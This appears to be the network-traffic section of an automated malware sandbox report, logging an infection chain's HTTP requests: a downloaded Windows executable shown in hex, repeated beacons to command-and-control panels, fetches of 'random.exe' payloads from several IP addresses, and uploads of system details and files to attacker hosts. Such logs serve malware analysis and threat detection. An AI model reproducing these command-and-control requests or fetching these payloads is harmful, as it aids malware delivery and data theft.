Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 18 Dec 2024 14:57:48 GMTContent-Type: application/octet-streamContent-Length: 2874880Last-Modified: Wed, 18 Dec 2024 14:25:29 GMTConnection: keep-aliveETag: "6762db59-2bde00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 28 01 00 00 00 00 00 00 10 4f 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 40 4f 00 00 04 00 00 89 96 2c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 f0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 68 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 f0 01 00 00 00 a0 24 00 00 02 00 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 7a 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 65 70 64 6c 78 64 72 6d 00 40 2a 00 00 c0 24 00 00 3c 2a 00 00 7c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6b 73 6a 74 7a 62 68 6c 00 10 00 00 00 00 4f 00 00 04 00 00 00 b8 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 10 4f 00 00 22 00 00 00 bc 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: httpbin.orgAccept: /
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 152Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 30 32 41 37 31 42 38 35 39 38 32 44 31 32 46 43 30 37 44 42 32 33 39 42 39 36 44 41 30 34 34 35 31 36 36 45 46 37 41 37 44 33 35 42 31 45 37 35 30 38 36 34 32 39 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B02A71B85982D12FC07DB239B96DA0445166EF7A7D35B1E750864299
Source: global traffic	HTTP traffic detected: GET /files/unique1/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 36 39 33 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016935001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /WEIsmPfDcpBFJozngnYN1734366322 HTTP/1.1Host: home.twentytk20pn.topAccept: /Content-Type: application/jsonContent-Length: 557910Data Raw: 7b 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 20 22 63 75 72 72 65 6e 74 5f 74 69 6d 65 22 3a 20 22 31 37 33 34 35 33 33 37 38 32 22 2c 20 22 4e 75 6d 5f 70 72 6f 63 65 73 73 6f 72 22 3a 20 34 2c 20 22 4e 75 6d 5f 72 61 6d 22 3a 20 37 2c 20 22 64 72 69 76 65 72 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 43 3a 5c 5c 22 2c 20 22 61 6c 6c 22 3a 20 32 32 33 2e 30 2c 20 22 66 72 65 65 22 3a 20 31 36 38 2e 30 20 7d 20 5d 2c 20 22 4e 75 6d 5f 64 69 73 70 6c 61 79 73 22 3a 20 31 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 78 22 3a 20 31 32 38 30 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 79 22 3a 20 31 30 32 34 2c 20 22 72 65 63 65 6e 74 5f 66 69 6c 65 73 22 3a 20 35 30 2c 20 22 70 72 6f 63 65 73 73 65 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 5b 53 79 73 74 65 6d 20 50 72 6f 63 65 73 73 5d 22 2c 20 22 70 69 64 22 3a 20 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 53 79 73 74 65 6d 22 2c 20 22 70 69 64 22 3a 20 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 52 65 67 69 73 74 72 79 22 2c 20 22 70 69 64 22 3a 20 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 6d 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 32 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 30 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 69 6e 69 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 38 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 6c 6f 67 6f 6e 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 35 35 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 65 72 76 69 63 65 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 32 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 6c 73 61 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 32 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 35 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 37 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 38 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 38 37 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 32 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 64 77 6d 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 38 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 36 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 35 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 2
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 36 39 33 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016936001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /WEIsmPfDcpBFJozngnYN1734366322?argument=5uLvTJfGO9zFV91U1734533788 HTTP/1.1Host: home.twentytk20pn.topAccept: /
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 36 39 33 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016937001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFBKFHIDHIIJJKECGHCFHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 46 42 4b 46 48 49 44 48 49 49 4a 4a 4b 45 43 47 48 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 37 39 46 33 31 45 43 46 33 44 33 32 30 38 39 32 35 37 30 30 33 0d 0a 2d 2d 2d 2d 2d 2d 42 46 42 4b 46 48 49 44 48 49 49 4a 4a 4b 45 43 47 48 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 42 46 42 4b 46 48 49 44 48 49 49 4a 4a 4b 45 43 47 48 43 46 2d 2d 0d 0a Data Ascii: ------BFBKFHIDHIIJJKECGHCFContent-Disposition: form-data; name="hwid"C79F31ECF3D32089257003------BFBKFHIDHIIJJKECGHCFContent-Disposition: form-data; name="build"stok------BFBKFHIDHIIJJKECGHCF--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 36 39 33 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016938001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: twentytk20pn.topAccept: /Content-Length: 462Content-Type: multipart/form-data; boundary=------------------------AG5O5VamQKN3GdraSVFRwfData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 41 47 35 4f 35 56 61 6d 51 4b 4e 33 47 64 72 61 53 56 46 52 77 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 56 65 67 65 6a 75 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 90 08 7d 2a 1d 10 17 73 39 70 b3 ce 27 38 79 ab 6f 24 7c f5 bb 74 b8 b5 64 17 93 54 6b 27 03 66 15 67 ae 5e 6c f7 d5 3c 2f b5 0b f4 d8 7d e1 c6 0a 90 18 1f 6f 4d 27 61 29 e0 6b 54 3a 4b 3a 95 fc 19 ea 5c 68 9d 44 17 83 a0 01 73 08 df e9 d0 60 3e d2 e2 1c 30 8d c2 9c 9b b0 19 f5 3b d3 e8 03 36 ec 39 47 d7 67 77 6f 95 4e 97 e3 2c 5f b2 02 74 1f b7 09 bd 90 97 d1 ec e2 a8 40 a6 fe 2e da b6 1b 9d b0 56 ac 79 42 cb 78 4f 4d 7d bf 1b bb c5 2c e6 35 78 f1 3c b3 6d c8 fc cd 37 48 6e 37 28 7e 97 bc 5d 23 f6 bf b8 37 4b d2 92 f1 13 96 be 3d 47 8d 4a be 93 c5 79 bd e5 ca e5 30 da 7c ce dc 1c 0c ec f9 b0 01 65 30 f8 69 a9 05 94 3b 6f ad 28 ec a1 d3 80 a4 74 e0 34 44 c6 ff 49 42 cf f9 83 2c cb 2f 53 30 3c df 3d 32 c0 6b 46 33 50 a4 60 39 c0 3c c6 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 41 47 35 4f 35 56 61 6d 51 4b 4e 33 47 64 72 61 53 56 46 52 77 66 2d 2d 0d 0a Data Ascii: --------------------------AG5O5VamQKN3GdraSVFRwfContent-Disposition: form-data; name="file"; filename="Vegeju.bin"Content-Type: application/octet-stream}*s9p'8yo$\|tdTk'fg^l</}oM'a)kT:K:\hDs`>0;69GgwoN,_t@.VyBxOM},5x<m7Hn7(~]#7K=GJy0\|e0i;o(t4DIB,/S0<=2kF3P`9<--------------------------AG5O5VamQKN3GdraSVFRwf--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 36 39 33 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016939001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/burpin1/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: twentytk20pn.topAccept: /Content-Length: 22026Content-Type: multipart/form-data; boundary=------------------------mCAnp9mY0ATeNi03V1ADxvData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 6d 43 41 6e 70 39 6d 59 30 41 54 65 4e 69 30 33 56 31 41 44 78 76 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6f 66 6f 6a 75 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 89 aa b0 a2 e8 d8 44 86 88 78 e7 42 fc f0 ec 71 60 bb ac 6d 44 80 da 8a c2 d4 20 5d f8 b7 1a 0d 42 37 bc 01 ee ad 1c a0 94 3e 82 a7 84 7d ed f8 1c e5 2d ea 90 a3 18 f5 f8 67 34 e1 9a b6 b0 4d d3 b9 a1 a5 ac c1 51 96 55 02 f3 81 01 b5 7d 8f 84 44 3f 29 41 66 08 43 6c 5a a8 e1 2a e0 70 72 c1 84 b0 af 38 73 eb 69 d5 46 b0 dd ba bc ac 1b 9f 7c 8a 2b 60 e2 c5 2e 13 69 4d e7 0e 1f 43 16 e6 a9 bc f2 3d 28 32 62 57 a5 4b 7c be fe b3 d1 1c a7 0d a8 af 69 40 29 a5 b7 5b c1 8f 79 54 18 37 69 df 26 e1 24 b8 19 8f 8a e5 52 08 54 49 2a d9 f0 85 de 25 d7 8e c3 38 6f a1 d2 1b ce a1 36 c2 29 c3 9d 85 d7 73 b3 fd 27 7e 90 69 5a a6 87 4a 17 9d a4 0c 49 dd 54 dd 5b 72 d0 fb 14 c5 10 4f 41 b4 2e 0c c1 bd 84 f2 f0 fa 62 d1 85 68 bd 51 18 40 8c 81 40 63 cc fc 28 21 a3 13 52 34 02 bd 12 0f 9e 20 18 cd 9c 55 f4 c5 6e d1 e6 de b2 fc 97 ec 86 a4 9c 8c 80 60 b7 fd f9 de 64 59 06 f4 1d 50 c2 a5 4c 59 03 2f 00 6b 02 ba 07 22 a8 de 7f b3 63 12 4d 1b 5e 54 ec cd 38 b7 33 7e c0 2b a0 40 bf a7 bd 10 b6 27 23 f0 20 09 dd 12 cb 03 97 a5 ce 69 79 b2 79 f0 19 8b ce 3d a4 b7 75 06 94 10 9b a5 1a 38 98 8d 30 78 09 e5 37 93 61 1b 4e fd 98 93 ad 1e c5 9c 31 15 48 b7 e7 29 f2 79 8c 0b 0a 56 d8 b9 91 c2 67 bc 0b f0 ec e1 42 9f 23 a9 45 36 66 07 df ce 7a 2a 71 57 c1 c3 12 c4 ac b2 60 09 50 c6 1a 91 94 37 d5 52 13 3e 34 08 02 b1 55 ac 43 82 f4 a3 95 39 03 14 24 49 ea b1 97 a8 e2 b9 49 66 0a a8 8e d9 29 ff 56 22 03 9f 43 05 d8 89 56 29 71 dd 52 22 8e b4 04 32 09 e4 36 90 ff b4 b8 da 2b e9 fd 60 19 a4 6e 49 38 47 c8 69 60 d7 57 16 37 73 83 26 e4 71 de ab bb bc 99 4c 22 27 0e 30 97 4d cf cc af e5 bc 03 09 da fd 5f 21 6d bf c7 1d 59 bc 9b 45 1d 75 1f c3 55 3b 9a ae 34 97 73 0c c6 c5 50 0b 58 75 4e 91 ca 04 2b 40 53 f4 d5 c4 21 c3 43 80 c2 62 60 9f 0e 5b 87 f6 16 1e ba 82 93 09 17 ed 5b 64 29 b2 89 9e f4 c6 33 f8 9f 39 6e aa 36 d7 82 57 d4 39 64 20 e4 f6 06 fe 93 57 01 53 73 c9 f3 55 e3 37 fc b3 f0 34 2d a4 86 ac c9 ee 69 d5 26 c1 cf 37 27 ec fd 65 96 cd 53 00 07 e9 b3 6b 1d 8d a1 19 cc 5b b1 13 28 09 59 13 d7 29 f5 90 33 4b 8b ca 80 f0 43 70 14 98 84 57 b5 94 7d fa 26 a5 b4 9b 84 5e 74 91 1e cd a4 1c d6 a2 55 b8 df b2 1f 2d e8 f4 3c e9 94 00 b8 e4 e6 a2 9d ab 99 bd 58 ff b4 ae c3 0d 12 a4 15 7b 20 19 32 0b 52 d6 2e 11 eb 5c 96 a5 d1 38 f1 56 80 c3 c7 00 b4 cc f6 f8 c9 e3 4f 45 63 82 f9 c1 b2 fd 63 0a ca c8 5c e4 40 24 dd 6b 23 27 fe 29
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FCAEBFIJKEBGHIDHIEGIHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 43 41 45 42 46 49 4a 4b 45 42 47 48 49 44 48 49 45 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 37 39 46 33 31 45 43 46 33 44 33 32 30 38 39 32 35 37 30 30 33 0d 0a 2d 2d 2d 2d 2d 2d 46 43 41 45 42 46 49 4a 4b 45 42 47 48 49 44 48 49 45 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 46 43 41 45 42 46 49 4a 4b 45 42 47 48 49 44 48 49 45 47 49 2d 2d 0d 0a Data Ascii: ------FCAEBFIJKEBGHIDHIEGIContent-Disposition: form-data; name="hwid"C79F31ECF3D32089257003------FCAEBFIJKEBGHIDHIEGIContent-Disposition: form-data; name="build"stok------FCAEBFIJKEBGHIDHIEGI--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 36 39 34 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016940001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: twentytk20pn.topAccept: /Content-Length: 28643Content-Type: multipart/form-data; boundary=------------------------YpE7DWycHQqN81F1KPDwRiData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 59 70 45 37 44 57 79 63 48 51 71 4e 38 31 46 31 4b 50 44 77 52 69 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 75 79 6f 74 75 66 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a f9 68 e5 4a b8 0b 41 95 1b f1 93 90 22 ec aa 68 a8 b3 3b 51 21 eb d3 c5 b7 d0 eb 4d 75 2f 1f fa 82 6b 13 f7 94 76 69 54 5a 02 d4 0d ad 4e 8c 21 1c c3 29 74 42 51 47 cd 04 49 2a f5 6c 69 77 5f 76 a9 2c c5 87 88 e8 d5 21 8a 03 d1 52 7b 55 24 fe e2 4e 37 c5 2f 70 4e b2 f6 25 96 04 0e c8 31 da c4 c0 43 76 ba 7f 3d e0 5a ea 90 15 64 f1 05 f1 5c d1 cb 08 96 d1 5d ad 9a 92 22 0e e3 c9 de f4 98 1d da c7 b6 38 2a b6 c7 0b 94 ca 2e 29 ed d9 33 57 28 13 a6 3c 37 0a b4 b5 d4 7e d8 59 8c a3 21 f1 28 d0 b5 82 0e 26 57 98 ca 8e 46 9e 7a 9e 17 3d ef c3 f7 77 ef a8 19 38 83 67 fb 75 d9 69 b8 5e 42 8e c9 2c 95 e1 6b 67 83 05 5f b4 88 e3 ca 07 25 64 25 f8 6a f6 06 dc 57 56 c4 05 41 66 e7 b7 0c 1f a8 77 a4 f8 b9 2b 43 37 da 3d 27 db 10 2a 39 58 7c 3a 22 2f e7 7a 8f d0 3e 6a 14 0a bb 3b c6 d0 80 e9 96 97 e2 5f 54 43 e5 60 81 c5 1d 19 2b 62 a9 ad fe 83 48 36 c5 d0 75 22 d6 7a c3 29 ef 13 99 f1 fc 38 f2 ed 36 b7 82 25 45 d2 15 6c be 49 54 48 d5 d4 49 13 b7 69 09 63 65 ff d1 02 c4 83 ce 10 6e 02 c7 f4 b9 8d 6b 77 5b a6 44 d6 5f 19 a0 7b 2d dc d1 02 9e 62 8b 05 49 72 1a 6d 8c 39 81 fe 20 fa 53 15 38 9b a9 90 54 f2 e8 ed f2 b4 cc aa 51 53 46 78 d9 e9 cf 2d 7c b2 60 f4 78 34 d2 64 e1 94 93 9b 85 12 11 89 a9 f8 4d cf fe ce af be 69 b9 6d 32 d1 44 fc 2c 57 5a e6 58 4c 6c 23 51 95 0d d2 a3 d8 cf ed c8 0d 2b 8a df 51 d8 df df 57 ff ad 5e 84 c2 7c 36 16 e8 29 d1 3a bc 0e 6b 1b 92 8f dc 13 ce 2d a4 3f b9 cf 62 69 4a b8 a7 4e d8 85 cb aa 27 e1 f3 0f c5 4d 5b f7 15 f5 31 f1 f9 45 bf db 02 f2 2a 3d 0c 7d ca 3c 0b 8b e1 5a 29 f1 e3 c8 6d 7f c5 48 0d bf 39 2e 5c bb 23 9c b8 00 21 0b b4 f3 19 2c 6c 16 6c ae ce 43 0b f6 86 82 3b 87 75 e3 54 51 ae 86 be 76 40 82 62 c9 bc 1c 57 b9 19 21 f8 44 c9 b3 21 7c 71 5c 02 f3 07 ae 65 42 16 ed 17 61 52 c5 90 b1 f4 ac a8 8c cf 71 c5 89 c5 53 43 da b3 77 87 48 9f 43 d0 16 4b 5e 71 22 c8 b7 1c ce f4 0a 4d 16 4d f3 0b 36 d0 19 12 3e a4 79 7c 63 5c d7 6a 0f dd 42 9b 89 90 f2 16 46 af 3f 47 fd 02 00 c6 95 06 b8 da c9 dd 4d 40 68 30 94 ef ce 31 b3 72 f7 0d 1b 79 b3 be 9e 44 0b f3 c8 8d 84 ee 41 11 cf 9a 23 d5 23 53 00 39 c9 f8 fc f8 dc 89 c6 1a 5e 88 a2 b8 39 68 ea ef 28 06 da 66 bf 3e 5a 8f c6 a3 94 f6 88 63 ff 4f 52 db bc 2f f7 3b 47 1e 61 19 92 c2 ec cb 00 03 7a a5 91 ab da 06 9c 7a 8c f9 b0 ca 3d 76 f2 28 d0 4e 7c ce d7 ce 5b fc 0a c6 02 2e 74 9c 8d 04 7d 2f d8 58 82 56 82 6e 11 ff a9 f8
Source: global traffic	HTTP traffic detected: GET /files/x3team/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /WEIsmPfDcpBFJozngnYN1734366322 HTTP/1.1Host: home.twentytk20pn.topAccept: /Content-Type: application/jsonContent-Length: 56Data Raw: 7b 20 22 69 64 31 22 3a 20 22 35 75 4c 76 54 4a 66 47 4f 39 7a 46 56 39 31 55 31 37 33 34 35 33 33 37 38 38 22 2c 20 22 64 61 74 61 22 3a 20 22 44 6f 6e 65 32 22 20 7d Data Ascii: { "id1": "5uLvTJfGO9zFV91U1734533788", "data": "Done2" }
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 36 39 34 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016941001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/unique3/random.exe HTTP/1.1Host: 31.41.244.11
